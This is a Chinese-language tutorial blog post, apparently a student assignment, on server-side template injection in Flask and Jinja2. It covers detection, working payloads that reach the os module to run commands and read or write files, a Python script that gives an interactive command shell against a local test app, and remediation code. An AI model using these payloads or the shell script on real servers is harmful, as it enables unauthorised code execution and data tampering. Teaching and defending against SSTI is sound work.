avatar

SSTI-服务端模版注入

SSTI(Server-Side Template Injection)-服务端模版注入

  • 这是一篇在学校做的作业,看笔记里写的比较完整,po一下

漏洞成因

服务端接收了用户的恶意输入以后,未经任何处理就将其拼接作为 Web 应用模板内容的一部分,服务端web应用使用模版引擎进行编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。(模版可控)

  • 区别sql注入
    虽然同属于注入型漏洞,但是sql注入是后端将本语言进行数据库查询的时候,没有做合法处理拼接了用户的输入,造成了sql语句的执行,数据库结构化查询。SSTI模版注入是获取用户的输入后,后端的框架使用模版引擎中的渲染函数生成html的时候,破坏了原本的模版内容,执行了用户输入的代码。
  • 区别xss
    对用户输入和输出没有进行合法处理的时候都会出现xss漏洞,某些存在SSTI的应用也会存在xss。但是xss漏洞是前端浏览器执行了js代码,SSTI是后端模版引擎中的渲染函数执行了恶意代码。

python-flask-SSTI-jinja2

flask框架

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其模板引擎是使用的Jinja2 。Flask 提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

  • 其它框架:比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

模版引擎(模版语言)

用于web应用开发的模版引擎,为了让业务逻辑(后端试图函数,处理用户请求以及数据存取操作等)和页面逻辑(前端html页面)分离,生成一个标准的html文档。后端代码是 Python 代码,前端代码是 HTML 代码,两种代码分别写在视图函数和模板文件中。

模版引擎会提供一套生成html代码的程序,只需要获取用户的数据,然后放在渲染函数里,生成带有用户输入数据的前端html页面(替换特定位置上预先定义好的占位变量),反馈给浏览器。

  • jinja2是flask框架内置的模版引擎。

jinja2中常见语法

1
2
3
4
5
{% raw %}
{{name}}结构:表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
{%if..%}{%else..%}{%for..%}:控制结构
{# ... #}:注释,模板渲染的时候会忽视这中间的值
{% endraw %}
  • 其它模版:Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。

模版渲染(过程)

通过动态赋值 ,将重新翻译好的html文件(模板引擎生效) 返回给用户的过程。

复现过程

检测

  • 注入探测字符,例如:?name={ {7*8} },查看应用程序是否进行了相应的计算并显示



漏洞利用

获取os模块并执行任意系统命令

payload:{ { } }语法

1
{ {''.class.mro[1].subclasses()[213].init.globals['os'].popen('id').read()} }

url编码之后:

?name={{%27%27.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen("whoami").read()}}

payload分析

{ {''.__class__} }找到当前类

1
?name={ {"".__class__.__mro__} } 寻找基类 (也可以用base)

"".__class__.__mro__[1].__subclasses__()返回object所有子类(需要找到包含os模块的类)

1
2
3
''.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__查找os类下的的所有方法(在python中就是import的模块,需要使用os模块)
__init__:初始化
__globals__:globals全局来查找所有的方法及变量及参数

os.popen()方法:从一个命令打开一个管道,可以执行命令,返回的是文件对象,使用read()方法读取返回的值

其它利用方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//获取eval函数执行任意python代码

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}//python执行系统命令要调用os模块
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re

url='http://127.0.0.1:5000/index?name='
while True:
cmd = input('cmd:')
if cmd=='exit':
break
payload = '''
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("''' + cmd + '''").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
'''
res = requests.get(url + payload)
result = re.findall('Hello (.*)', res.text, re.S)
print(result[0].strip())

漏洞修复

核心思想:先渲染后处理用户输入

  1. 使用render_template模版函数:(先渲染后替换)

示例:见python项目(code1)

  1. 更换参数拼接方式(示例:code3)
1
2
3
4
5
html
def hello():
name=request.args.get('name','world')
temp=Template('Hello {{n}}')
return temp.render(n=name)

参考

https://blog.csdn.net/weixin_42635252/article/details/83341226
https://blog.csdn.net/qq_57172130/article/details/116378826
https://www.jianshu.com/p/a736e39c3510

Author: Tabooair
Link: http://yoursite.com/2021/08/10/SSTI-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.